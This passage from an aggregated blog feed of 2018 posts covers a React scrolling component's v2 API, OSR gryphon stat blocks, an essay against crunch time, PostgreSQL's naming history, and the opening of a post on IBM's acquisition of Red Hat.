isPermaLink="true">https://blog.samuellevy.com/post/56-the-guten-the-berg-and-the-ugly.html</guid></item><item><title>Introducing React-Scroll-To v2</title><link>https://dylanpaulus.com/posts/2018/introducing-react-scroll-to-v2/</link><description>&lt;p&gt;The latest version of a React component I maintain just released, v2 of react-scroll-to. First, it started out as a component I needed, but over time a few people started using it. Because it was initially created for my specific use-case it started to show its warts when new features were ask for. The goals for v2 were two-part: introduce a more flexible API and implement some highly asked for features (scroll by a ref and smooth scrolling).&lt;/p&gt;
&lt;p&gt;So what is react-scroll-to? React-scroll-to is a pretty simple component. It allows the control of scrolling either the brower's window, or a component (overflow) to a specific point.&lt;/p&gt;
&lt;p&gt;We'll look at a few examples to show off what react-scroll-to can do.&lt;br /&gt;
&lt;em&gt;(As a note, in this post I'll only be showing render props, but react-scroll-to also supports higher order components. Examples can be found at: https://github.com/ganderzz/react-scroll-to)&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Basics&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import React, { Component } from "react";
import { ScrollTo } from "react-scroll-to";

export default class MyComponent extends Component {
  render() {
    return &amp;lt;ScrollTo&amp;gt;{({ scrollTo }) =&amp;gt; &amp;lt;a onClick={() =&amp;gt; scrollTo({ y: 500 })}&amp;gt;Scroll to Bottom&amp;lt;/a&amp;gt;}&amp;lt;/ScrollTo&amp;gt;;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the component above we're importing the &lt;code&gt;ScrollTo&lt;/code&gt; component from react-scroll-to. This is a render prop, so we'll pass a function as its children. &lt;code&gt;ScrollTo&lt;/code&gt;'s children has an object as its parameter--this is so the consumer of this component can choose, exactly, what properties they care about. Generally we'll only need &lt;code&gt;scrollTo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;scrollTo()&lt;/code&gt; is a function, when called, will either:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Scroll the brower's window based on the given parameters (in this case, scroll 500px from the top of the page)&lt;/li&gt;
&lt;li&gt;Scroll all &lt;code&gt;&amp;lt;ScrollArea&amp;gt;&lt;/code&gt; components, inside &lt;code&gt;&amp;lt;ScrollTo /&amp;gt;&lt;/code&gt;, to the given parameters (We'll see this later)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Note: react-scroll-to uses absolute positions--the ability to use relative positioning is coming soon!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;When a user clicks on the link, in the example, we'll see the window scroll down 500px!&lt;/p&gt;
&lt;h3&gt;Scroll Area&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;&amp;lt;ScrollArea&amp;gt;&lt;/code&gt; component gives &lt;code&gt;scrollTo&lt;/code&gt; the ability to scroll components, instead of the window.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import React, { Component } from "react";
import { ScrollTo, ScrollArea } from "react-scroll-to";

export default class MyComponent extends Component {
  render() {
    return (
      &amp;lt;ScrollTo&amp;gt;
        {({ scrollTo }) =&amp;gt; (
          &amp;lt;&amp;gt;
            &amp;lt;a onClick={() =&amp;gt; scrollTo({ y: 500 })}&amp;gt;Scroll to Bottom&amp;lt;/a&amp;gt;

            &amp;lt;ScrollArea&amp;gt;My long content...&amp;lt;/ScrollArea&amp;gt;
          &amp;lt;/&amp;gt;
        )}
      &amp;lt;/ScrollTo&amp;gt;
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since a &lt;code&gt;&amp;lt;ScrollArea/&amp;gt;&lt;/code&gt; component lives as a child component of &lt;code&gt;&amp;lt;ScrollTo /&amp;gt;&lt;/code&gt;, whenever we call &lt;code&gt;scrollTo()&lt;/code&gt;, it'll scroll all of the &lt;code&gt;&amp;lt;ScrollArea /&amp;gt;&lt;/code&gt; components. So in this example when the link is clicked only the "My long content..." area will scroll.&lt;/p&gt;
&lt;p&gt;But what if we have multiple &lt;code&gt;&amp;lt;ScrollArea /&amp;gt;&lt;/code&gt; components?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import React, { Component } from "react";
import { ScrollTo, ScrollArea } from "react-scroll-to";

export default class MyComponent extends Component {
  render() {
    return (
      &amp;lt;ScrollTo&amp;gt;
        {({ scrollTo }) =&amp;gt; (
          &amp;lt;&amp;gt;
            &amp;lt;a onClick={() =&amp;gt; scrollTo({ y: 500 })}&amp;gt;Scroll to Bottom&amp;lt;/a&amp;gt;

            &amp;lt;ScrollArea&amp;gt;My long content...&amp;lt;/ScrollArea&amp;gt;

            &amp;lt;ScrollArea&amp;gt;My long content 2...&amp;lt;/ScrollArea&amp;gt;
          &amp;lt;/&amp;gt;
        )}
      &amp;lt;/ScrollTo&amp;gt;
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the case where more than one &lt;code&gt;&amp;lt;ScrollArea /&amp;gt;&lt;/code&gt; components exist in a &lt;code&gt;&amp;lt;ScrollTo /&amp;gt;&lt;/code&gt;, both components will scroll.&lt;/p&gt;
&lt;p&gt;What if we only want to scroll one of the &lt;code&gt;&amp;lt;ScrollArea /&amp;gt;&lt;/code&gt; components?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import React, { Component } from "react";
import { ScrollTo, ScrollArea } from "react-scroll-to";

export default class MyComponent extends Component {
  render() {
    return (
      &amp;lt;ScrollTo&amp;gt;
        {({ scrollTo }) =&amp;gt; (
          &amp;lt;&amp;gt;
            &amp;lt;a onClick={() =&amp;gt; scrollTo({ id: "content-two", y: 500 })}&amp;gt;Scroll to Bottom&amp;lt;/a&amp;gt;

            &amp;lt;ScrollArea&amp;gt;My long content...&amp;lt;/ScrollArea&amp;gt;

            &amp;lt;ScrollArea id="content-two"&amp;gt;My long content 2...&amp;lt;/ScrollArea&amp;gt;
          &amp;lt;/&amp;gt;
        )}
      &amp;lt;/ScrollTo&amp;gt;
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By adding an &lt;code&gt;id&lt;/code&gt; property to a &lt;code&gt;&amp;lt;ScrollArea /&amp;gt;&lt;/code&gt; we are able to reference that component in our &lt;code&gt;scrollTo()&lt;/code&gt; function. &lt;code&gt;scrollTo()&lt;/code&gt; then takes another field, 'id', that'll scroll any &lt;code&gt;&amp;lt;ScrollArea /&amp;gt;&lt;/code&gt; component that matches that id (id's must be unique).&lt;/p&gt;
&lt;h3&gt;V2 Features&lt;/h3&gt;
&lt;p&gt;scrollTo and ScrollArea have both existed in v1; let's look at branch new features.&lt;/p&gt;
&lt;h5&gt;Smooth Scrolling&lt;/h5&gt;
&lt;p&gt;Smooth scrolling couldn't be simpler. By adding a &lt;code&gt;smooth: true&lt;/code&gt; property to the &lt;code&gt;scrollTo()&lt;/code&gt; object, react-scroll-to will automatically apply smooth scrolling.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import React, { Component } from "react";
import { ScrollTo } from "react-scroll-to";

export default class MyComponent extends Component {
  render() {
    return (
      &amp;lt;ScrollTo&amp;gt;
        {({ scrollTo }) =&amp;gt; (
          &amp;lt;a onClick={() =&amp;gt; scrollTo({ x: 200, smooth: true })}&amp;gt;
            {/* Oh yeah, we can scroll by x also! */}
            Scroll to Bottom
          &amp;lt;/a&amp;gt;
        )}
      &amp;lt;/ScrollTo&amp;gt;
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;Scroll by Ref&lt;/h5&gt;
&lt;p&gt;Maybe instead of using a &lt;code&gt;&amp;lt;ScrollArea /&amp;gt;&lt;/code&gt; component, we have a ref to a component we want to scroll. Or maybe instead we want to scroll a component outside &lt;code&gt;&amp;lt;ScrollTo /&amp;gt;&lt;/code&gt;'s children. Now we have the ability by providing the ref through the &lt;code&gt;scrollTo()&lt;/code&gt; argument object!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import React, { Component } from "react";
import { ScrollTo } from "react-scroll-to";

export default class MyComponent extends Component {
  myRef = React.createRef();

  render() {
    return (
      &amp;lt;ScrollTo&amp;gt;
        {({ scrollTo }) =&amp;gt; (
          &amp;lt;a onClick={() =&amp;gt; scrollTo({ ref: this.myRef, y: 200, smooth: true })}&amp;gt;
             Scroll to Bottom
          &amp;lt;/a&amp;gt;
        )}
      &amp;lt;/ScrollTo&amp;gt;

      &amp;lt;div ref={this.myRef}&amp;gt;
        I'm outside ScrollTo!
      &amp;lt;/div&amp;gt;
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;V2 of react-scroll-to provides a lot of behind-the-scenes structural changes that'll allow for a better developer experience while implementing new features. We also added many new features that have been in demand. As things solidify, we hope to expose hooks in react-scroll-to to allow even more flexibility.&lt;/p&gt;
&lt;p&gt;Check it out: &lt;a href="https://github.com/ganderzz/react-scroll-to"&gt;react-scroll-to&lt;/a&gt;&lt;br /&gt;
Examples: &lt;a href="https://ganderzz.github.io/react-scroll-to/"&gt;Click Here&lt;/a&gt;&lt;/p&gt;</description><author>Dylan Paulus' Blog</author><pubDate>Sat, 03 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://dylanpaulus.com/posts/2018/introducing-react-scroll-to-v2/</guid></item><item><title>On Gryphons and Their Kin</title><link>https://benovermyer.com/blog/2018/11/on-gryphons-and-their-kin/</link><description>&lt;p&gt;As one of the founders of &lt;a href="https://silvergryphongames.com" rel="external"&gt;Silver Gryphon Games&lt;/a&gt; I have a fondness for gryphons. It seems only natural, then, that I write up a few variations of the standard gryphon (or griffon, griffin, or gryfon, as you like) for OSR uses.&lt;/p&gt;
&lt;h1 id="gryphon"&gt;Gryphon&lt;/h1&gt;
&lt;h2 id="common"&gt;Common&lt;/h2&gt;
&lt;p&gt;Armor Class: 5
Hit Dice: 7
Move: Normal move: 90' (30'); flying: 240' (80')
Attacks: 2 claws/1 bite
Damage: 1-8/1-8/2-12
No. Appearing: 1 (1-2)
Save As: Fighter: 3
Morale: 9
Treasure Type: V
Alignment: Neutral&lt;/p&gt;
&lt;h2 id="gryfalcon"&gt;Gryfalcon&lt;/h2&gt;
&lt;p&gt;Armor Class: 5
Hit Dice: 6
Move: Normal move: 90' (30'); flying: 280' (100')
Attacks: 2 claws/1 bite
Damage: 1-6/1-6/2-8
No. Appearing: 1 (1-2)
Save As: Fighter: 3
Morale: 9
Treasure Type: U
Alignment: Neutral&lt;/p&gt;
&lt;h2 id="opinicus"&gt;Opinicus&lt;/h2&gt;
&lt;p&gt;Armor Class: 5
Hit Dice: 7
Move: Normal move: 120' (40'); flying: 240' (80')
Attacks: 2 claws/1 bite
Damage: 1-8/1-8/2-12
No. Appearing: 1 (1-2)
Save As: Fighter: 3
Morale: 9
Treasure Type: V
Alignment: Neutral&lt;/p&gt;
&lt;h2 id="demigryph"&gt;Demigryph&lt;/h2&gt;
&lt;p&gt;Armor Class: 5
Hit Dice: 7
Move: 120' (40')
Attacks: 2 claws/1 bite
Damage: 1-6/1-6/1-10
No. Appearing: 1 (1-2)
Save As: Fighter: 3
Morale: 9
Treasure Type: U
Alignment: Neutral&lt;/p&gt;
&lt;h2 id="hippogriff"&gt;Hippogriff&lt;/h2&gt;
&lt;p&gt;Armor Class: 5
Hit Dice: 7
Move: Normal move: 90' (30'); flying: 240' (80')
Attacks: 2 claws/1 bite
Damage: 1-8/1-8/2-12
No. Appearing: 1 (1-2)
Save As: Fighter: 3
Morale: 9
Treasure Type: U
Alignment: Neutral&lt;/p&gt;
&lt;p&gt;Gryphons are powerful predators, but generally avoid fights unless very hungry. They are found in all manner of climates, but tend to prefer mountainous areas. All variations of gryphon except the demigryph will build their nests (called aeries) in high-up places that are easily defended and difficult for non-flyers to reach. Gryphons are social, intelligent creatures and will sometimes be found in small communities of gryphons. They mate for life, and if their mate dies, they will rarely take another mate, instead living the rest of their life alone. Some cultures use gryphons as fighting-beasts or as mounts. Because they are intelligent creatures, gryphons in this capacity are usually willing participants in this arrangement, but not always. A person having a gryphon as a mount will usually have a strong bond with that creature, and vice versa.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Common:&lt;/strong&gt; The common variety have the body, tail and back legs of a lion, and the head, wings, breast, and front legs of an eagle. They stand roughly 6-7' high at the shoulder, making them a little larger than most horses.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gryfalcon:&lt;/strong&gt; Gryfalcons are very similar to common gryphons, but instead of bearing the likeness of an eagle, resemble a falcon. They are typically smaller and more lithe than their common kin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Opinicus:&lt;/strong&gt; The opinicus has the full lower body of a lion, including the front legs, and the head and wings of an eagle. Unlike common gryphons, they do not have tufted ears. Opinici tend to be slightly more aggressive than other gryphons.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Demigryph:&lt;/strong&gt; A demigryph (or keythong) looks very similar to a common gryphon, but has no wings. Demigryphs are fonder of plains and hills than their kin, and are more likely to interact with humans and other sentient species.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hippogriff:&lt;/strong&gt; Hippogriffs have the body, back legs, and tail of a horse instead of a lion. They are otherwise similar to common gryphons. These creatures are rarely seen outside of forested mountains.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Sat, 03 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/11/on-gryphons-and-their-kin/</guid></item><item><title>Writing test cases with given, when and then</title><link>https://stribny.name/posts/writing-test-cases-with-given-when-and-then/</link><author>Posts by Petr Stribny</author><pubDate>Fri, 02 Nov 2018 20:32:23 GMT</pubDate><guid isPermaLink="true">https://stribny.name/posts/writing-test-cases-with-given-when-and-then/</guid></item><item><title>Kill the crunch time heroics</title><link>https://ntietz.com/blog/kill-crunch-time-heroics/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;Crunch time has an allure: it feels like if you just push hard enough, you can get more done. You can push hard and get that next release done on time, get those new features out, earn more revenue for your company. Engineers are under immense pressure to deliver more and do it now, and we also feel special: we feel unique, like we are not subject to the fatigue that others experience, or that this project is different and we can do it even when exhausted.&lt;/p&gt;
&lt;p&gt;None of this is true, though. We are not special. We are all humans, and for all of us, crunch time is expensive. Some people literally die as a result of crunch time; most of us just end up as worn out shells in poor health, making poor products.&lt;/p&gt;
&lt;p&gt;This happens because crunch time is inherently very fatiguing, physically and mentally. During crunch time, you don't get the sleep that your body needs to maintain itself and to recharge the brain, so you end up grouchy and tired and sloppy. During this time, you make big sacrifices: you see your kids less and your partner less; you give up some of your hobbies; you sacrifice your health by giving in to temptations and unhealthy food and alcohol. This all can go to extremes, as happened in 2013 at Bank of America, where an intern died after working for three straight days.&lt;/p&gt;
&lt;p&gt;The costs to personal lives are bad enough, but you'd expect them to be justified with something really valuable to the business. I mean, why else would a business press people to do this to themselves? Unfortunately, it isn't so. Long-term, crunch time kills businesses. It leads to lower morale and disengaged employees. Quality declines and passes into negative returns. The mistakes people make while they are fatigued are incredibly expensive, dropping databases or crashing cars or opening gaping security holes.&lt;/p&gt;
&lt;p&gt;Look, I know these costs. In the face of these, I decided recently to do some crunch time. We were working on a plan for a prototype and there was a board meeting coming up, and my teammate and I decided to go for it: "let's try to ship a prototype ahead of the board meeting!" It was an ambition born out of a threefold desire: to elevate our company at the board meeting; to elevate the reputation of our engineering team internally; and honestly, to make ourselves look &lt;em&gt;damn&lt;/em&gt; good by shipping something incredible in a short timeframe.&lt;/p&gt;
&lt;p&gt;We did it. We worked overtime and gave up our hobbies and time with our partners so that we could write a lot of code that ended up looking really slick, working pretty well, and impressing our audience. I actually feel a lot closer to my teammate now, because he and I went through some tough stuff together and really got in sync.&lt;/p&gt;
&lt;p&gt;But was it worth it? Definitely not. Looking back, I think that with some extra care (people shielding us from meetings; turning off Slack for us for that time; etc.) we could have gotten the prototype out on the same schedule without the overtime. Even if we missed that deadline, the days after that crunch time were essentially sick days for us both (we could not think clearly enough to write good code) and the week after it was not a great week, either. And the sacrifice to ourselves, to our partners, to our cats - that was something we took too lightly.&lt;/p&gt;
&lt;p&gt;The software industry glorifies crunch time. We have this hero mythos where the cowboy coder goes into a cave with a bottle of Mountain Dew and emerges, a sleepless night later, with a beautiful, functional prototype. It's time to kill this hero. This is not how humans work: humans need sleep; humans need downtime to recharge; and humans deserve time for their friends, family, and hobbies.&lt;/p&gt;
&lt;p&gt;Let's all fight back against crunch time. You deserve your own time and your own energy, and your business and product will be better for it. Incentives are aligned here: everyone wins when you avoid long hours and crunch time. Let's say no, together.&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Fri, 02 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/kill-crunch-time-heroics/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>Links - November 1st, 2018</title><link>https://faingezicht.com/links/2018/11/01/links/</link><description>I guess this is what happens when I don't share what I've been reading in over two months. Don't miss out on the &lt;a href="/links/2018/11/01/podcasts/"&gt;counterpart post&lt;/a&gt;, which is just links to some of the best podcasts I've listened to recently.</description><author>Avy Faingezicht</author><pubDate>Thu, 01 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/11/01/links/</guid></item><item><title>Links - November 1st, 2018 (Podcast edition)</title><link>https://faingezicht.com/links/2018/11/01/podcasts/</link><description>I guess this is what happens when I don't share what I've been listening to in over two months. Don't miss out on the &lt;a href="/links/2018/11/01/links/"&gt;counterpart post&lt;/a&gt;, which is just links to some of the best articles I've read recently.</description><author>Avy Faingezicht</author><pubDate>Thu, 01 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/11/01/podcasts/</guid></item><item><title>VC is like Soviet Statism</title><link>https://ferrucc.io/posts/vc-is-ussr/</link><description>&lt;p&gt;VCs do everything you would expect the USSR would do, while being a private company.&lt;/p&gt;
&lt;h3 id="vc"&gt;VC&lt;/h3&gt;
&lt;p&gt;Financing projects without asking too many questions. Sometimes people refer to this as &lt;em&gt;VC welfare&lt;/em&gt;.
If a company puts the right combination of &lt;em&gt;&amp;ldquo;disruptive&amp;rdquo;, &amp;ldquo;blockchain&amp;rdquo; and &amp;ldquo;AI&amp;rdquo; in their slides&lt;/em&gt; they receive funding.
Showing some &lt;em&gt;APIs, an app with users (real or fake)&lt;/em&gt; the money flows him.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;With no real technical evaluation.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="ussr"&gt;USSR&lt;/h3&gt;
&lt;p&gt;Financing projects without asking too many questions. Sometimes people refer to this as &lt;em&gt;Social welfare&lt;/em&gt;.
If a company puts the right combination of &lt;em&gt;&amp;ldquo;surplus&amp;rdquo;, &amp;ldquo;proletarians&amp;rdquo; in their presentations&lt;/em&gt; they receive funding.
Showing some &lt;em&gt;building, a product and have employees (working or not)&lt;/em&gt; the money flows him.&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Thu, 01 Nov 2018 00:37:21 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/posts/vc-is-ussr/</guid></item><item><title>My New Mac Setup (2018-2020)</title><link>https://www.swyx.io/my-new-mac-setup-4ibi</link><description>&lt;p&gt;quick checklist for setting up a new macbook&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Wed, 31 Oct 2018 18:53:20 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/my-new-mac-setup-4ibi</guid></item><item><title>Karatara Fires</title><link>https://one.mikro2nd.net/pages/karatara-fires/</link><description>So here we are&amp;hellip; Fires again. Last year our neighbourhood was one of the safest places to be while fire raged all over the Eden District, destroying nearly 2000 buildings. Many friends lost their homes. This year it looked to be our turn. Maybe.
At first the fire was well away from us &amp;ndash; out on the other side of Karatara. For several days we&amp;rsquo;ve been breathing smoke, lungs feeling like you&amp;rsquo;ve smoked a whole pack of cigarettes, eyes gritty and smarting all the time, and that unnerving red glow all around the night sky, but no real hazard to us.</description><author>one mikro2nd</author><pubDate>Wed, 31 Oct 2018 18:35:35 GMT</pubDate><guid isPermaLink="true">https://one.mikro2nd.net/pages/karatara-fires/</guid></item><item><title>Why you should avoid ORMs (with examples in Node.js)</title><link>https://blog.logrocket.com/why-you-should-avoid-orms-with-examples-in-node-js-e0baab73fa5</link><author>Thomas Hunter II</author><pubDate>Wed, 31 Oct 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.logrocket.com/why-you-should-avoid-orms-with-examples-in-node-js-e0baab73fa5</guid></item><item><title>Designing a New OSR Game</title><link>https://benovermyer.com/blog/2018/10/designing-a-new-osr-game/</link><description>&lt;p&gt;So lately I've been delving back into the world of OSR role-playing games. In my past several years of playing only modern games, I'd forgotten what it felt like to play an OSR game. I miss the simplicity and the speed of combat. I especially miss the very real sense of danger that my character would die, and I'd have to start over from scratch.&lt;/p&gt;
&lt;p&gt;I decided to look at the original source material, a few recent entries into the genre, and some other inspirational material and come up with my own OSR rules.&lt;/p&gt;
&lt;p&gt;This blog post represents the first part of that journey.&lt;/p&gt;
&lt;h1 id="simplicity"&gt;Simplicity&lt;/h1&gt;
&lt;p&gt;One of the core themes of OSR games is simplicity. Character classes have very few details to them, and certainly not a deep progression arc. The game is less about characters becoming more mechanically powerful and more about putting these characters into new situations and seeing what they do. In that sense, at least, it's a role-play heavy style.&lt;/p&gt;
&lt;p&gt;Another expression of the theme of simplicity is in the resolution mechanic. If you take into account the optional rules from the original game (and here I'm referring specifically to Moldvay Basic), there were attribute tests, but they were simple d20 roll-under-ability-score affairs. There were no bonuses to such rolls. Combat was a little weird with the AC to-hit scheme. I don't miss that part, at least.&lt;/p&gt;
&lt;h1 id="a-new-game-begins"&gt;A New Game Begins&lt;/h1&gt;
&lt;p&gt;So for this post, let's say that this game of mine will begin with the basics and riff on that. The original game included only a handful of classes, and three races were classes in themselves. In my game, let's make this a little more complex.&lt;/p&gt;
&lt;p&gt;There are classes, and there are races. Classes remain very simple, with only a couple special abilities to give them a bit of flavor. Races are added to the mix, so that each character has both a race and a class, but they also are very simple. This gives any given character less than half a dozen special abilities from both choices, and this doesn't change beyond first level.&lt;/p&gt;
&lt;p&gt;"What about spells?" I hear you say. Well, in this system, spells are going to be treated much like equipment. Each spell is a limited-use magic item, probably in the form of a spell-gem or something similar. Magic-using classes will be able to collect and use these in different ways. Non-magic-users won't even be able to hold the things.&lt;/p&gt;
&lt;p&gt;"Does that go for divine magic too?" No, divine magic - called miracles in this game - uses something much more freeform. A user of divine magic prays to a deity to enact a miracle through them. This will be a unique roll - I'm toying with a few ideas here.&lt;/p&gt;
&lt;p&gt;Most tests not covered by special abilities or other game rules will be roll-under ability score tests. I'll use the original game's 3d6 ability score generation, and d20 roll-under test. That seems just fine.&lt;/p&gt;
&lt;p&gt;Saving throws are reduced to a single type. It's basically a hail-Mary play that can save your character from something awful by making it less awful, but still bad. It's also a roll-under target, but it's set, not random. You also only get one per game session.&lt;/p&gt;
&lt;p&gt;I like weapons all doing the same damage, so we're going back to that. We'll make things more interesting, though, by making all weapons have a special feature. That will keep them from feeling same-y.&lt;/p&gt;
&lt;p&gt;More on these topics is coming in further blog posts.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Wed, 31 Oct 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/10/designing-a-new-osr-game/</guid></item><item><title>The biggest mistake Postgres ever made</title><link>/2018/10/30/postgres-biggest-mistake/</link><description>&lt;p&gt;Postgres has experienced a long and great run. It is over 20 years old and has a track record of being safe and reliable (which is the top thing I care about in a database). In recent years it has become more cool with things like &lt;a href="https://www.citusdata.com/blog/2016/07/14/choosing-nosql-hstore-json-jsonb/"&gt;JSONB&lt;/a&gt;, &lt;a href="https://www.citusdata.com/blog/2018/09/11/postgresql-11-just-in-time/"&gt;JIT support&lt;/a&gt;, and a powerful &lt;a href="https://www.citusdata.com/blog/2017/10/25/what-it-means-to-be-a-postgresql-extension/"&gt;extension&lt;/a&gt; ecosystem. But, Postgres has made some mistakes along the way, the most notable being the name.&lt;/p&gt;
&lt;p&gt;Postgres gets its name from &lt;a href="https://en.wikipedia.org/wiki/Ingres_(database)"&gt;Ingress&lt;/a&gt;. Ingress was one of the first databases and was lead by Michael Stonebreaker who won a Turing award for Postgres and other works. Ingress began in the early 70s at UC Berkeley, which is still to this day known as a top university when it comes to databases. Out of Ingress came a number of databases you&amp;rsquo;ll still know today such as SQL Server and Sybase. It also as you may have guessed by now spawned Postgres which means Post-Ingress.&lt;/p&gt;
&lt;p&gt;In the early days of Postgres there was no SQL. No not NoSQL, there was not SQL. Postgres had its own query language. It wasn&amp;rsquo;t until 1995 that Postgres received SQL support, and with its addition of SQL support it updated its name to PostgreSQL.&lt;/p&gt;
&lt;p&gt;You see, with Postgres becoming PostgreSQL we began a journey of Postgres being mispronounced for its forseeable future and it is still currently the case. Is it really that big of an issue? Well it&amp;rsquo;s big enough that the PostgreSQL website has a FAQ including &lt;a href="https://www.postgresql.org/about/press/faq/"&gt;&amp;ldquo;How to pronounce PostgreSQL&amp;rdquo;&lt;/a&gt;. As it stands today there are two generally accepted names:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;post-GRES-que-ell&lt;/li&gt;
&lt;li&gt;Postgres&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With one of the above there is far less confusion. And in fact I&amp;rsquo;m not the only one to share this opinion. &lt;a href="https://en.wikipedia.org/wiki/Tom_Lane_(computer_scientist)"&gt;Tom Lane&lt;/a&gt; is a major contributor to every Postgres release for more than the last decade. He&amp;rsquo;s one of the top 10 contributors to open source in general having worked on the JPEG/PNG/TIFF image formats before coming over to database land. Tom has this &lt;a href="https://www.postgresql.org/message-id/2693.1152762174@sss.pgh.pa.us"&gt;classic email&lt;/a&gt; in the PostgreSQL mailing list:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; [&amp;gt;&amp;gt; Can i get data in postgre from non-postgre db?
&amp;gt; The name is PostgreSQL or Postgres, not postgre.
It might help to explain that the pronunciation is "post-gres" or
"post-gres-cue-ell", not "post-gray-something".
I heard people making this same mistake in presentations at this
past weekend's Postgres Anniversary Conference :-( Arguably,
the 1996 decision to call it PostgreSQL instead of reverting to
plain Postgres was the single worst mistake this project ever made.
It seems far too late to change now, though.
regards, tom lane
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The best part is this was mail was 2006, when it was arguably too late to change the name, and here we are in 2018 with the same issue.&lt;/p&gt;
&lt;p&gt;Personally I may start calling it Postgre just to emphasize a point, but for the rest of you just going with Postgres is probably a safe choice.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you&amp;rsquo;re looking for a deeper resource on Postgres I recommend the book &lt;a href="https://theartofpostgresql.com/?affiliate=cek"&gt;The Art of PostgreSQL&lt;/a&gt;. It is by a personal friend that has aimed to create the definitive guide to Postgres, from a developer perspective. If you use code CRAIG15 you&amp;rsquo;ll receive 15% off as well.&lt;/em&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Tue, 30 Oct 2018 22:55:56 GMT</pubDate><guid isPermaLink="true">/2018/10/30/postgres-biggest-mistake/</guid></item><item><title>The End of a Red Giant</title><link>https://purpleidea.com/blog/2018/10/30/the-end-of-a-red-giant/</link><description>&lt;p&gt;As I&amp;rsquo;m sure you&amp;rsquo;ve now heard, &lt;a href="https://www.redhat.com/en/about/press-releases/ibm-acquire-red-hat-completely-changing-cloud-landscape-and-becoming-world%E2%80%99s-1-hybrid-cloud-provider"&gt;Red Hat is being acquired by IBM&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Reactions have ranged from:&lt;/p&gt;

&lt;table style="text-align: center; width: 80%; margin: 0 auto;"&gt;&lt;tr&gt;&lt;td&gt;
&lt;a href="reddit1.png"&gt;&lt;img class="alignnone size-full" src="reddit1.png" width="100%" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The first two emotions everyone experienced.&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

&lt;p&gt;to:&lt;/p&gt;

&lt;table style="text-align: center; width: 80%; margin: 0 auto;"&gt;&lt;tr&gt;&lt;td&gt;
&lt;a href="twitter1.png"&gt;&lt;img class="alignnone size-full" src="twitter1.png" width="100%" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The classic humourous response.&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

&lt;p&gt;to:&lt;/p&gt;

&lt;table style="text-align: center; width: 80%; margin: 0 auto;"&gt;&lt;tr&gt;&lt;td&gt;
&lt;a href="twitter2.png"&gt;&lt;img class="alignnone size-full" src="twitter2.png" width="100%" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The classy response.&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

&lt;p&gt;to:&lt;/p&gt;

&lt;table style="text-align: center; width: 80%; margin: 0 auto;"&gt;&lt;tr&gt;&lt;td&gt;
&lt;a href="reddit2.png"&gt;&lt;img class="alignnone size-full" src="reddit2.png" width="100%" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;The thing we're all curious about.&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

&lt;p&gt;to everything in between. If someone were to leak me a copy of the memo-list
&lt;em&gt;2018-October.txt.gz&lt;/em&gt; mailman archive, I&amp;rsquo;d sure love to see that! (Of course I&amp;rsquo;m
